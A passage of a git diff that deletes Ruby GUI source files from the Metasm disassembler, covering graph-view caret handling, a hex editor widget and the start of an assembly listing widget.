@caret_box and focus? - cx = (b.x - view_x + 1 + @caret_x*@font_width)*@zoom - cy = (b.y - view_y + 1 + @caret_y*@font_height)*@zoom - draw_line_color(:caret, cx, cy, cx, cy+(@font_height-1)*@zoom) - end - end - - def gui_update - @want_update_graph = true - redraw - end - - # - # rebuild the code flow graph from @curcontext.roots - # recalc the boxes w/h - # - def update_graph - @want_update_graph = false - - ctx = @curcontext - - boxcnt = ctx.box.length - arrcnt = ctx.box.inject(0) { |s, b| s + b.to.length + b.from.length } - ctx.clear - - build_ctx(ctx) - - ctx.auto_arrange_boxes - - return if ctx != @curcontext - - if boxcnt != ctx.box.length or arrcnt != ctx.box.inject(0) { |s, b| s + b.to.length + b.from.length } - zoom_all - elsif @caret_box # update @caret_box with a box at the same place - bx = @caret_box.x + @caret_box.w/2 - by = @caret_box.y + @caret_box.h/2 - @caret_box = ctx.box.find { |cb| cb.x < bx and cb.x+cb.w > bx and cb.y < by and cb.y+cb.h > by } - end - end - - def load_dotfile(path) - load_dot(File.read(path)) - end - - def load_dot(dota) - @want_update_graph = false - @curcontext.clear - boxes = {} - new_box = lambda { |text| - b = @curcontext.new_box(text, :line_text_col => [[[text, :text]]]) - b.w = (text.length+1) * @font_width - b.h = @font_height - b - } - dota.scan(/^.*$/) { |l| - a = l.strip.chomp(';').split(/->/).map { |s| s.strip.delete '"' } - next if not id = a.shift - b0 = boxes[id] ||= new_box[id] - while id = a.shift - b1 = boxes[id] ||= new_box[id] - b0.to |= [b1] - b1.from |= [b0] - b0 = b1 - end - } - redraw - rescue Interrupt - puts "dot_len #{boxes.length}" - end - - # create the graph objects in ctx - def build_ctx(ctx) - # graph : block -> following blocks in same function - block_rel = {} - - todo = ctx.root_addrs.dup - done = [:default, Expression::Unknown] - while a = todo.shift - a = @dasm.normalize a - next if done.include? a - done << a - next if not di = @dasm.di_at(a) - if not di.block_head? - block_rel[di.block.address] = [a] - @dasm.split_block(a) - end - block_rel[a] = [] - di.block.each_to_samefunc(@dasm) { |t| - t = @dasm.normalize t - next if not @dasm.di_at(t) - todo << t - block_rel[a] << t - } - block_rel[a].uniq! - end - - # populate boxes - addr2box = {} - todo = ctx.root_addrs.dup - todo.delete_if { |t| not @dasm.di_at(t) } # undefined func start - done = [] - while a = todo.shift - next if done.include? a - done << a - if not ctx.keep_split.to_a.include?(a) and from = block_rel.keys.find_all { |ba| block_rel[ba].include? a } and - from.length == 1 and block_rel[from.first].length == 1 and - addr2box[from.first] and lst = @dasm.decoded[from.first].block.list.last and - lst.next_addr == a and (not lst.opcode.props[:saveip] or lst.block.to_subfuncret) - box = addr2box[from.first] - else - box = ctx.new_box a, :addresses => [], :line_text_col => [], :line_address => [] - end - @dasm.decoded[a].block.list.each { |di_| - box[:addresses] << di_.address - addr2box[di_.address] = box - } - todo.concat block_rel[a] - end - - # link boxes - ctx.box.each { |b| - next if not di = @dasm.decoded[b[:addresses].last] - a = di.block.address - next if not block_rel[a] - block_rel[a].each { |t| - ctx.link_boxes(b.id, t) - b.direct_to = t if t == di.next_addr - } - } - - # calc box dimensions/text - ctx.box.each { |b| - colstr = [] - curaddr = nil - line = 0 - render = lambda { |str, col| colstr << [str, col] } - nl = lambda { - b[:line_address][line] = curaddr - b[:line_text_col][line] = colstr - colstr = [] - line += 1 - } - b[:addresses].each { |addr| - curaddr = addr - if di = @dasm.di_at(curaddr) - if di.block_head? - # render dump_block_header, add a few colors - b_header = '' ; @dasm.dump_block_header(di.block) { |l| b_header << l ; b_header << ?\n if b_header[-1] != ?\n } - b_header.strip.each_line { |l| l.chomp! - col = :comment - col = :label if l[0, 2] != '//' and l[-1] == ?: - render[l, col] - nl[] - } - end - render["#{Expression[curaddr]} ", :address] if @show_addresses - render[di.instruction.to_s.ljust(di.comment ? 18 : 0), :instruction] - render[' ; ' + di.comment.join(' ')[0, 64], :comment] if di.comment - nl[] - else - # TODO real data display (dwords, xrefs, strings..) - if label = @dasm.get_label_at(curaddr) - render[label + ' ', :label] - end - s = @dasm.get_section_at(curaddr) - render['db '+((s and s[0].data.length > s[0].ptr) ? Expression[s[0].read(1)[0]].to_s : '?'), :text] - nl[] - end - } - b.w = b[:line_text_col].map { |strc| strc.map { |s, c| s }.join.length }.max.to_i * @font_width + 2 - b.w += 1 if b.w % 2 == 0 # ensure boxes have odd width -> vertical arrows are straight - b.h = line * @font_height - } - end - - def keypress_ctrl(key) - case key - when ?F - @parent_widget.inputbox('text to search in curview (regex)', :text => @hl_word) { |pat| - re = /#{pat}/i - list = [['addr', 'instr']] - @curcontext.box.each { |b| - b[:line_text_col].zip(b[:line_address]) { |l, a| - str = l.map { |s, c| s }.join - list << [Expression[a], str] if str =~ re - } - } - @parent_widget.list_bghilight("search result for /#{pat}/i", list) { |i| @parent_widget.focus_addr i[0] } - } - when ?+; mouse_wheel_ctrl(:up, width/2, height/2) - when ?-; mouse_wheel_ctrl(:down, width/2, height/2) - else return false - end - true - end - - def keypress(key) - case key - when :left - if @caret_box - if @caret_x > 0 - @caret_x -= 1 - update_caret - elsif b = @curcontext.box.sort_by { |b_| -b_.x }.find { |b_| b_.x < @caret_box.x and - b_.y < @caret_box.y+@caret_y*@font_height and - b_.y+b_.h > @caret_box.y+(@caret_y+1)*@font_height } - @caret_x = (b.w/@font_width).to_i - @caret_y += ((@caret_box.y-b.y)/@font_height).to_i - @caret_box = b - update_caret - redraw - else - @curcontext.view_x -= 20/@zoom - redraw - end - else - @curcontext.view_x -= 20/@zoom - redraw - end - when :up - if @caret_box - if @caret_y > 0 - @caret_y -= 1 - update_caret - elsif b = @curcontext.box.sort_by { |b_| -b_.y }.find { |b_| b_.y < @caret_box.y and - b_.x < @caret_box.x+@caret_x*@font_width and - b_.x+b_.w > @caret_box.x+(@caret_x+1)*@font_width } - @caret_x += ((@caret_box.x-b.x)/@font_width).to_i - @caret_y = b[:line_address].length-1 - @caret_box = b - update_caret - redraw - else - @curcontext.view_y -= 20/@zoom - redraw - end - else - @curcontext.view_y -= 20/@zoom - redraw - end - when :right - if @caret_box - if @caret_x <= @caret_box[:line_text_col].map { |s| s.map { |ss, cc| ss }.join.length }.max - @caret_x += 1 - update_caret - elsif b = @curcontext.box.sort_by { |b_| b_.x }.find { |b_| b_.x > @caret_box.x and - b_.y < @caret_box.y+@caret_y*@font_height and - b_.y+b_.h > @caret_box.y+(@caret_y+1)*@font_height } - @caret_x = 0 - @caret_y += ((@caret_box.y-b.y)/@font_height).to_i - @caret_box = b - update_caret - redraw - else - @curcontext.view_x += 20/@zoom - redraw - end - else - @curcontext.view_x += 20/@zoom - redraw - end - when :down - if @caret_box - if @caret_y < @caret_box[:line_address].length-1 - @caret_y += 1 - update_caret - elsif b = @curcontext.box.sort_by { |b_| b_.y }.find { |b_| b_.y > @caret_box.y and - b_.x < @caret_box.x+@caret_x*@font_width and - b_.x+b_.w > @caret_box.x+(@caret_x+1)*@font_width } - @caret_x += ((@caret_box.x-b.x)/@font_width).to_i - @caret_y = 0 - @caret_box = b - update_caret - redraw - else - @curcontext.view_y += 20/@zoom - redraw - end - else - @curcontext.view_y += 20/@zoom - redraw - end - when :pgup - if @caret_box - @caret_y -= (height/4/@zoom/@font_height).to_i - @caret_y = 0 if @caret_y < 0 - update_caret(false) - else - @curcontext.view_y -= height/4/@zoom - redraw - end - when :pgdown - if @caret_box - @caret_y += (height/4/@zoom/@font_height).to_i - @caret_y = [@caret_box[:line_address].length-1, @caret_y].min - update_caret(false) - else - @curcontext.view_y += height/4/@zoom - redraw - end - when :home - if @caret_box - @caret_x = 0 - update_caret(false) - else - @curcontext.view_x = @curcontext.box.map { |b_| b_.x }.min-10 - @curcontext.view_y = @curcontext.box.map { |b_| b_.y }.min-10 - redraw - end - when :end - if @caret_box - @caret_x = @caret_box[:line_text_col][@caret_y].to_a.map { |ss, cc| ss }.join.length - update_caret(false) - else - @curcontext.view_x = [@curcontext.box.map { |b_| b_.x+b_.w }.max-width/@zoom+10, @curcontext.box.map { |b_| b_.x }.min-10].max - @curcontext.view_y = [@curcontext.box.map { |b_| b_.y+b_.h }.max-height/@zoom+10, @curcontext.box.map { |b_| b_.y }.min-10].max - redraw - end - - when :delete - @selected_boxes.each { |b_| - @curcontext.box.delete b_ - b_.from.each { |bb| bb.to.delete b_ } - b_.to.each { |bb| bb.from.delete b_ } - } - redraw - when :popupmenu - if @caret_box - cx = (@caret_box.x - view_x + 1 + @caret_x*@font_width)*@zoom - cy = (@caret_box.y - view_y + 1 + @caret_y*@font_height)*@zoom - rightclick(cx, cy) - end - - when ?a - t0 = Time.now - puts 'autoarrange' - @curcontext.auto_arrange_boxes - redraw - puts 'autoarrange done %.02f' % (Time.now - t0) - when ?u - gui_update - - when ?R - load __FILE__ - when ?I # create arbitrary boxes/links - if @selected_boxes.empty? - @fakebox ||= 0 - b = @curcontext.new_box "id_#@fakebox", - :addresses => [], :line_address => [], - :line_text_col => [[[" blublu #@fakebox", :text]]] - b.w = @font_width * 15 - b.h = @font_height * 2 - b.x = rand(200) - 100 - b.y = rand(200) - 100 - - @fakebox += 1 - else - b1, *bl = @selected_boxes - bl = [b1] if bl.empty? # loop - bl.each { |b2| - if b1.to.include? b2 - b1.to.delete b2 - b2.from.delete b1 - else - b1.to << b2 - b2.from << b1 - end - } - end - redraw - - when ?1 # (numeric) zoom to 1:1 - if @zoom == 1.0 - zoom_all - else - @curcontext.view_x += (width/2 / @zoom - width/2) - @curcontext.view_y += (height/2 / @zoom - height/2) - @zoom = 1.0 - end - redraw - when :insert # split curbox at @caret_y - if @caret_box and a = @caret_box[:line_address][@caret_y] and @dasm.decoded[a] - @dasm.split_block(a) - @curcontext.keep_split ||= [] - @curcontext.keep_split |= [a] - gui_update - focus_addr a - end - else return false - end - true - end - - def hide_non_descendants(list) - reach = {} - todo = list.dup - while b = todo.pop - next if reach[b] - reach[b] = true - b.to.each { |bb| - todo << bb if bb.y+bb.h >= b.y - } - end - - @curcontext.box.delete_if { |bb| - !reach[bb] - } - @curcontext.box.each { |bb| - bb.from.delete_if { |bbb| !reach[bbb] } - bb.to.delete_if { |bbb| !reach[bbb] } - } - redraw - end - - def hide_non_ascendants(list) - reach = {} - todo = list.dup - while b = todo.pop - next if reach[b] - reach[b] = true - b.from.each { |bb| - todo << bb if bb.y <= b.h+b.y - } - end - - @curcontext.box.delete_if { |bb| - !reach[bb] - } - @curcontext.box.each { |bb| - bb.from.delete_if { |bbb| !reach[bbb] } - bb.to.delete_if { |bbb| !reach[bbb] } - } - redraw - end - - # find a suitable array of graph roots, walking up from a block (function start/entrypoint) - def dasm_find_roots(addr) - todo = [addr] - done = [] - roots = [] - default_root = nil - while a = todo.shift - next if not di = @dasm.di_at(a) - b = di.block - a = b.address - if done.include? a - default_root ||= a - next - end - done << a - newf = [] - b.each_from_samefunc(@dasm) { |f| newf << f } - if newf.empty? - roots << b.address - else - todo.concat newf - end - end - roots << default_root if roots.empty? and default_root - - roots - end - - def set_cursor_pos(p) - addr, x = p - focus_addr(addr) - @caret_x = x - update_caret - end - - def get_cursor_pos - [current_address, @caret_x] - end - - # focus on addr - # addr may be a dasm label, dasm address, dasm address in string form (eg "0DEADBEEFh") - # addr must point to a decodedinstruction - # if the addr is not found in curcontext, the code flow is walked up until a function - # start or an entrypoint is found, then the graph is created from there - # will call gui_update then - def focus_addr(addr, can_update_context=true) - return if @parent_widget and not addr = @parent_widget.normalize(addr) - return if not @dasm.di_at(addr) - - # move window / change curcontext - if b = @curcontext.box.find { |b_| b_[:line_address].index(addr) } - @caret_box, @caret_x, @caret_y = b, 0, b[:line_address].rindex(addr) - @curcontext.view_x += (width/2 / @zoom - width/2) - @curcontext.view_y += (height/2 / @zoom - height/2) - @zoom = 1.0 - - update_caret - elsif can_update_context - @curcontext = Graph.new 'testic' - @curcontext.root_addrs = dasm_find_roots(addr) - @want_focus_addr = addr - gui_update - else - return - end - true - end - - def focus_xy(x, y) - # dont move during a click - return if @mousemove_origin - - # ensure the caret stays onscreen - if not view_x - @curcontext.view_x = x - width/5/@zoom - redraw - elsif @caret_box and @caret_box.w < width*27/30/@zoom - # keep @caret_box full if possible - if view_x + width/20/@zoom > @caret_box.x - @curcontext.view_x = @caret_box.x-width/20/@zoom - elsif view_x + width*9/10/@zoom < @caret_box.x+@caret_box.w - @curcontext.view_x = @caret_box.x+@caret_box.w-width*9/10/@zoom - end - elsif view_x + width/20/@zoom > x - @curcontext.view_x = x-width/20/@zoom - redraw - elsif view_x + width*9/10/@zoom < x - @curcontext.view_x = x-width*9/10/@zoom - redraw - end - - if not view_y - @curcontext.view_y = y - height/5/@zoom - redraw - elsif @caret_box and @caret_box.h < height*27/30/@zoom - if view_y + height/20/@zoom > @caret_box.y - @curcontext.view_y = @caret_box.y-height/20/@zoom - elsif view_y + height*9/10/@zoom < @caret_box.y+@caret_box.h - @curcontext.view_y = @caret_box.y+@caret_box.h-height*9/10/@zoom - end - elsif view_y + height/20/@zoom > y - @curcontext.view_y = y-height/20/@zoom - redraw - elsif view_y + height*9/10/@zoom < y - @curcontext.view_y = y-height*9/10/@zoom - redraw - end - end - - # hint that the caret moved - # redraw, change the hilighted word - def update_caret(update_hlword = true) - return if not b = @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y] - - if update_hlword - l = l.map { |s, c| s }.join - @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y - update_hl_word(l, @caret_x) - end - - focus_xy(b.x + @caret_x*@font_width, b.y + @caret_y*@font_height) - - redraw - end - - def current_address - @caret_box ? @caret_box[:line_address][@caret_y] : @curcontext.root_addrs.first - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb deleted file mode 100644 index 32422f84e2..0000000000 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ /dev/null @@ -1,547 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class HexWidget < DrawableWidget - # data_size = size of data in bytes (1 => chars, 4 => dwords..) - # line_size = nr of bytes shown per line - # view_addr = addr of 1st byte to display - attr_accessor :dasm, :show_address, :show_data, :show_ascii, - :data_size, :line_size, :endianness, - #:data_sign, :data_hex, - :caret_x_data, :focus_zone, - :keep_aligned, :relative_addr, :hl_curbyte, - :view_addr, :write_pending - - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - # @caret_x = caret position in octets - # in hex, round to nearest @data_size and add @caret_x_data (nibbles) - @x_data = 7 - @caret_x_data = 0 - @oldcaret_x_data = 42 - @focus_zone = @oldfocus_zone = :hex - @addr_min = @dasm.sections.keys.grep(Integer).min rescue nil - @addr_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil - @view_addr = @dasm.prog_binding['entrypoint'] || @addr_min || 0 - @show_address = @show_data = @show_ascii = true - @data_size = 1 - @line_size = 16 - @num_lines = 2 # height of widget in lines - @write_pending = {} # addr -> newvalue (characters) - @endianness = @dasm.cpu.endianness - @raw_data_cache = {} # addr -> raw @line_size data at addr - #@data_sign = false - #@data_hex = true - @keep_aligned = false # true to keep the topleft octet a multiple of linewidth - @relative_addr = nil # show '+42h' in the addr column if not nil - @hl_curbyte = true # draw grey bg for current byte - - @default_color_association = ColorTheme.merge :ascii => :black, :data => :black, - :write_pending => :darkred, :caret_mirror => :palegrey - end - - def resized(w=width, h=height) - wc = w/@font_width - hc = h/@font_height - ca = current_address - @num_lines = hc - @caret_y = hc-1 if @caret_y >= hc - ols = @line_size - @line_size = 8 - @line_size *= 2 while x_ascii+(@show_ascii ? @line_size : 0) < wc # booh.. - @line_size /= 2 - if @line_size != ols - @view_addr &= -@line_size if @keep_aligned - focus_addr ca - gui_update - end - end - - # converts a screen x coord (in characters) to a [@caret_x, @caret_x_data, @focus_zone] - def chroff_to_caretx(x) - if x < x_data - [0, 0, (@show_data ? :hex : :ascii)] - elsif x < x_ascii - x -= x_data - x -= x/(4*(2*@data_size+1)+1) # remove space after each 4*@data_size - x -= x/(2*@data_size+1) # remove space after each @data_size - x = 2*@line_size-1 if x >= 2*@line_size # between hex & ascii - cx = x/(2*@data_size)*@data_size - cxd = x-2*cx - [cx, cxd, :hex] - elsif x < x_ascii+@line_size - x -= x_ascii - [x, 0, :ascii] - else - [@line_size-1, 0, (@show_ascii ? :ascii : :hex)] - end - end - - def click(x, y) - @caret_x, @caret_x_data, @focus_zone = chroff_to_caretx((x-1).to_i / @font_width) - @caret_y = y.to_i / @font_height - update_caret - end - - def rightclick(x, y) - doubleclick(x, y) - end - - def doubleclick(x, y) - if x < @x_data * @font_width - if @relative_addr - @relative_addr = nil - else - @relative_addr = @view_addr - end - else - @data_size = {1 => 2, 2 => 4, 4 => 8, 8 => 1}[@data_size] - resized - end - redraw - end - - def mouse_wheel(dir, x, y) - off = height.to_i/@font_height/4*@line_size - case dir - when :up; @view_addr -= off - when :down; @view_addr += off - end - gui_update - end - - # returns 1 line of data - def data_at(addr, len=@line_size) - if len == @line_size and l = @raw_data_cache[addr] - l - elsif s = @dasm.get_section_at(addr) - l = s[0].read(len) - @raw_data_cache[addr] = l if len == @line_size - l - end - end - - def paint - w_h = height - curaddr = @view_addr - # current window position - x = 1 - y = 0 - @num_lines = 0 - - # renders a string at current cursor position with a color - # must not include newline - render = lambda { |str, color| - draw_string_color(color, x, y, str) - x += str.length * @font_width - } - - if @show_address - @x_data = [6, Expression[curaddr].to_s.length].max + 1 - end - - xd = x_data*@font_width + 1 - xa = x_ascii*@font_width + 1 - hexfmt = "%0#{@data_size*2}x " - wp_win = {} # @write_pending clipped to current window - if not @write_pending.empty? - if curaddr.kind_of? Integer - @write_pending.keys.grep(curaddr...curaddr+(w_h/@font_height+1)*@line_size).each { |k| wp_win[k] = @write_pending[k] } - else wp_win = @write_pending.dup - end - end - - # draw text until screen is full - while y < w_h - if @show_address - if @relative_addr - diff = Expression[curaddr] - @relative_addr - if diff.kind_of? Integer - addr = "#{'+' if diff >= 0}#{Expression[diff]}".ljust(@x_data-1) - else - addr = "#{Expression[curaddr]}" - end - else - addr = "#{Expression[curaddr]}" - end - render[addr.rjust(@x_data-1, '0'), :address] - end - - d = data_at(curaddr) - if not d and data_at(curaddr+@line_size-1, 1) - # data in the current line but not from the beginning - d_o = (1...@line_size).find { |o| d = data_at(curaddr+o, @line_size-o) }.to_i - else - d_o = 0 - end - wp = {} - d.length.times { |o| - if c = wp_win[curaddr+d_o+o] - wp[d_o+o] = true - d = d.dup - d[o, 1] = c.chr - end - } if d - if @show_data and d - x = xd - if d_o > 0 - d_do = [0].pack('C')*(d_o % @data_size) + d - i = d_o/@data_size - x += (i*(@data_size*2+1) + i/4) * @font_width - else - d_do = d - i = 0 - end - # XXX non-hex display ? (signed int, float..) - case @data_size - when 1; pak = 'C*' - when 2; pak = (@endianness == :little ? 'v*' : 'n*') - when 4; pak = (@endianness == :little ? 'V*' : 'N*') - when 8; pak = 'Q*' # XXX endianness.. - end - awp = {} ; wp.each_key { |k| awp[k/@data_size] = true } - - if @hl_curbyte and @caret_y == y/@font_height - cx = (x_data + x_data_cur(@caret_x, 0))*@font_width + 1 - draw_rectangle_color(:caret_mirror, cx, y, @data_size*2*@font_width, @font_height) - end - - if awp.empty? - s = '' - d_do.unpack(pak).each { |b| - s << (hexfmt % b) - s << ' ' if i & 3 == 3 - i += 1 - } - render[s, :data] - else - d_do.unpack(pak).each { |b| - col = awp[i] ? :write_pending : :data - render[hexfmt % b, col] - render[' ', :data] if i & 3 == 3 - i+=1 - } - end - end - if @show_ascii and d - x = xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/, '.') - if wp.empty? - render[d, :ascii] - else - d.length.times { |o| - col = wp[o] ? :write_pending : :ascii - render[d[o, 1], col] - } - end - end - - curaddr += @line_size - @num_lines += 1 - x = 1 - y += @font_height - end - - # draw caret - if @show_data - cx = (x_data + x_data_cur)*@font_width+1 - cy = @caret_y*@font_height - col = (focus? && @focus_zone == :hex) ? :caret : :caret_mirror - draw_line_color(col, cx, cy, cx, cy+@font_height-1) - end - - if @show_ascii - cx = (x_ascii + @caret_x)*@font_width+1 - cy = @caret_y*@font_height - col = (focus? && @focus_zone == :ascii) ? :caret : :caret_mirror - draw_line_color(col, cx, cy, cx, cy+@font_height-1) - end - - @oldcaret_x, @oldcaret_y, @oldcaret_x_data, @oldfocus_zone = @caret_x, @caret_y, @caret_x_data, @focus_zone - end - - # char x of start of data zone - def x_data - @show_address ? @x_data : 0 - end - - # char x of start of ascii zone - def x_ascii - x_data + (@show_data ? @line_size*2 + @line_size/@data_size + @line_size/@data_size/4 : 0) - end - - # current offset in data zone of caret - def x_data_cur(cx = @caret_x, cxd = @caret_x_data) - x = (cx/@data_size)*@data_size - 2*x + x/@data_size + x/@data_size/4 + cxd - end - - def keypress(key) - case key - when :left - key_left - update_caret - when :right - key_right - update_caret - when :up - key_up - update_caret - when :down - key_down - update_caret - when :pgup - if not @addr_min or @view_addr > @addr_min - @view_addr -= (@num_lines/2)*@line_size - gui_update - end - when :pgdown - if not @addr_max or @view_addr < @addr_max - @view_addr += (@num_lines/2)*@line_size - gui_update - end - when :home - @caret_x = 0 - update_caret - when :end - @caret_x = @line_size-1 - update_caret - - when :backspace - key_left - if @focus_zone == :hex - key_left if @caret_x_data & 1 == 1 - oo = @caret_x_data/2 - oo = @data_size - oo - 1 if @endianness == :little - @write_pending.delete current_address + oo - else - @write_pending.delete current_address - end - redraw - when :tab - switch_focus_zone - update_caret - when :enter - commit_writes - gui_update - when :esc - if not @write_pending.empty? - @write_pending.clear - redraw - else return false - end - - when ?\x20..?\x7e - if @focus_zone == :hex - if ?a.kind_of?(String) # ruby1.9 - v = key.ord - case key - when ?0..?9; v -= ?0.ord - when ?a..?f; v -= ?a.ord-10 - when ?A..?F; v -= ?A.ord-10 - else return false - end - else - case v = key - when ?0..?9; v -= ?0 - when ?a..?f; v -= ?a-10 - when ?A..?F; v -= ?A-10 - else return false - end - end - - oo = @caret_x_data/2 - oo = @data_size - oo - 1 if @endianness == :little - baddr = current_address + oo - return false if not d = data_at(baddr, 1) - o = 4*((@caret_x_data+1) % 2) - @write_pending[baddr] ||= d[0] - if ?a.kind_of?(String) - @write_pending[baddr] = ((@write_pending[baddr].ord & ~(0xf << o)) | (v << o)).chr - else - @write_pending[baddr] = (@write_pending[baddr] & ~(0xf << o)) | (v << o) - end - else - @write_pending[current_address] = key - end - key_right - redraw - else return false - end - true - end - - def keypress_ctrl(key) - case key - when ?f - if @focus_zone == :hex - prompt_search_hex - else - prompt_search_ascii - end - else return false - end - true - end - - # pop a dialog, scans the sections for a hex pattern - def prompt_search_hex - text = '' - if current_address.kind_of?(::Integer) - text = Expression.encode_imm(current_address, "u#{@dasm.cpu.size}".to_sym, @dasm.cpu).unpack('H*').first - end - inputbox('hex pattern to search (hex regexp, use .. for wildcard)', :text => text) { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } - pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit - list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } - listwindow("hex search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } - } - end - - # pop a dialog, scans the sections for a regex - def prompt_search_ascii - inputbox('data pattern to search (regexp)') { |pat| - list = [['addr']] + @dasm.pattern_scan(/#{pat}/).map { |a| [Expression[a]] } - listwindow("data search #{pat}", list) { |i| @parent_widget.focus_addr i[0] } - } - end - - def key_left - if @focus_zone == :hex - if @caret_x_data > 0 - @caret_x_data -= 1 - else - @caret_x_data = @data_size*2-1 - @caret_x -= @data_size - end - else - @caret_x -= 1 - end - if @caret_x < 0 - @caret_x += @line_size - key_up - end - end - - def key_right - if @focus_zone == :hex - if @caret_x_data < @data_size*2-1 - @caret_x_data += 1 - else - @caret_x_data = 0 - @caret_x += @data_size - end - else - @caret_x += 1 - end - if @caret_x >= @line_size - @caret_x = 0 - key_down - end - end - - def key_up - if @caret_y > 0 - @caret_y -= 1 - elsif not @addr_min or @view_addr > @addr_min - @view_addr -= @line_size - redraw - else - @caret_x = @caret_x_data = 0 - end - end - - def key_down - if @caret_y < @num_lines-2 - @caret_y += 1 - elsif not @addr_max or @view_addr < @addr_max - @view_addr += @line_size - redraw - else - @caret_x = @line_size-1 # XXX partial final line... (01 23 45 bla ) - @caret_x_data = @data_size*2-1 - end - end - - def switch_focus_zone(n=nil) - n ||= { :hex => :ascii, :ascii => :hex }[@focus_zone] - @caret_x = @caret_x / @data_size * @data_size if n == :hex - @caret_x_data = 0 - @focus_zone = n - end - - def commit_writes - a = s = nil - @write_pending.each { |k, v| - if not s or k < a or k >= a + s.length - s, a = @dasm.get_section_at(k) - end - next if not s - s[k-a] = v - } - @write_pending.clear - rescue - @parent_widget.messagebox($!.message.to_s, $!.class.to_s) - end - - def get_cursor_pos - [@view_addr, @caret_x, @caret_y, @caret_x_data, @focus_zone] - end - - def set_cursor_pos(p) - @view_addr, @caret_x, @caret_y, @caret_x_data, @focus_zone = p - redraw - update_caret - end - - # hint that the caret moved - def update_caret - return redraw if @hl_curbyte - a = [] - a << [x_data + x_data_cur, @caret_y] << [x_data + x_data_cur(@oldcaret_x, @oldcaret_x_data), @oldcaret_y] if @show_data - a << [x_ascii + @caret_x, @caret_y] << [x_ascii + @oldcaret_x, @oldcaret_y] if @show_ascii - a.each { |x, y| invalidate_caret(x, y) } - @oldcaret_x, @oldcaret_y, @oldcaret_x_data, @oldfocus_zone = @caret_x, @caret_y, @caret_x_data, @focus_zone - end - - # focus on addr - # returns true on success (address exists) - def focus_addr(addr) - return if not addr = @parent_widget.normalize(addr) - if addr.kind_of? Integer - return if @addr_min and (addr < @addr_min or addr > @addr_max) - addr &= -@line_size if @keep_aligned - @view_addr = addr if addr < @view_addr or addr >= @view_addr+(@num_lines-2)*@line_size - elsif s = @dasm.get_section_at(addr) - @view_addr = Expression[s[1]] - else return - end - @caret_x = (addr-@view_addr) % @line_size - @caret_x_data = 0 - @caret_y = (addr-@view_addr) / @line_size - @focus_zone = :ascii - redraw - update_caret - true - end - - # returns the address of the data under the cursor - def current_address - @view_addr + @caret_y.to_i*@line_size + @caret_x.to_i - end - - def gui_update - @addr_min = @dasm.sections.keys.grep(Integer).min rescue nil - @addr_max = @dasm.sections.map { |s, e| s + e.length }.max rescue nil - @raw_data_cache.clear - redraw - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_listing.rb b/lib/metasm/metasm/gui/dasm_listing.rb deleted file mode 100644 index 8a67ab22de..0000000000 --- a/lib/metasm/metasm/gui/dasm_listing.rb +++ /dev/null @@ -1,614 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -module Gui -class AsmListingWidget < DrawableWidget - attr_accessor :dasm, :arrow_zone_w - # nr of raw bytes to display next to each decoded instruction - attr_accessor :raw_data_length - - def initialize_widget(dasm, parent_widget) - @dasm = dasm - @parent_widget = parent_widget - - @arrows = [] # array of [linefrom, lineto] (may be :up or :down for offscreen) - @line_address = [] - @line_text = [] - @line_text_color = [] - @want_update_line_text = @want_update_caret = true - @wantaddr = nil - @arrow_zone_w = 40 - @raw_data_length = 0 - - addrs = @dasm.sections.keys.grep(Integer) - @minaddr = addrs.min.to_i - @maxaddr = (addrs.max + @dasm.sections[addrs.max].length rescue (1 << @dasm.cpu.size)) - @startaddr = @dasm.prog_binding['entrypoint'] || @minaddr - - @default_color_association = ColorTheme.merge :raw_data => :black, :arrows_bg => :palegrey, - :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red - end - - def resized(w, h) - col = w/@font_width - lin = h/@font_height - @caret_x = col-1 if @caret_x >= col - @caret_y = lin-1 if @caret_y >= lin and lin > 0 - gui_update - end - - def adjust_startaddr(off=0, update = true) - @startaddr += off - @startaddr = @maxaddr - 1 if @startaddr.kind_of? Integer and @startaddr >= @maxaddr - if off = (0..16).find { |off_| di = @dasm.decoded[@startaddr-off_] and di.respond_to? :bin_length and di.bin_length > off_ } and off != 0 - # align on @decoded boundary - @startaddr -= off - end - @startaddr = @minaddr if @startaddr.kind_of? Integer and @startaddr < @minaddr - gui_update if update - end - - def click(x, y) - set_caret_from_click(x - @arrow_zone_w, y) - @caret_x = 0 if @caret_x < 0 - end - - def rightclick(x, y) - click(x, y) - cx = (x - @arrow_zone_w) / @font_width - cy = y / @font_height - if cx > 0 - m = new_menu - cm = new_menu - addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word } - addsubmenu(cm, 'copy _line') { clipboard_copy(@line_text[cy]) if @line_text[cy] } - addsubmenu(cm, 'copy _all') { clipboard_copy(@line_text.join("\r\n")) } # XXX auto \r\n vs \n - addsubmenu(m, '_clipboard', cm) - addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :listing) } - if @parent_widget.respond_to?(:extend_contextmenu) - @parent_widget.extend_contextmenu(self, m, @line_address[@caret_y]) - end - popupmenu(m, x, y) - end - end - - def doubleclick(x, y) - click(x, y) - @parent_widget.focus_addr(@hl_word) - end - - def mouse_wheel(dir, x, y) - case dir - when :up - # TODO handle block start (multiline) / data aggregation (db 100h dup(?), strings..) - @wantaddr = @line_address[@caret_y] - adjust_startaddr(-1, false) - adjust_startaddr(-1, false) - adjust_startaddr(-1, false) - adjust_startaddr(-1) - when :down - # scroll down 4 lines, or more if all the 4 1st lines have the same addr (eg block start) - @wantaddr = 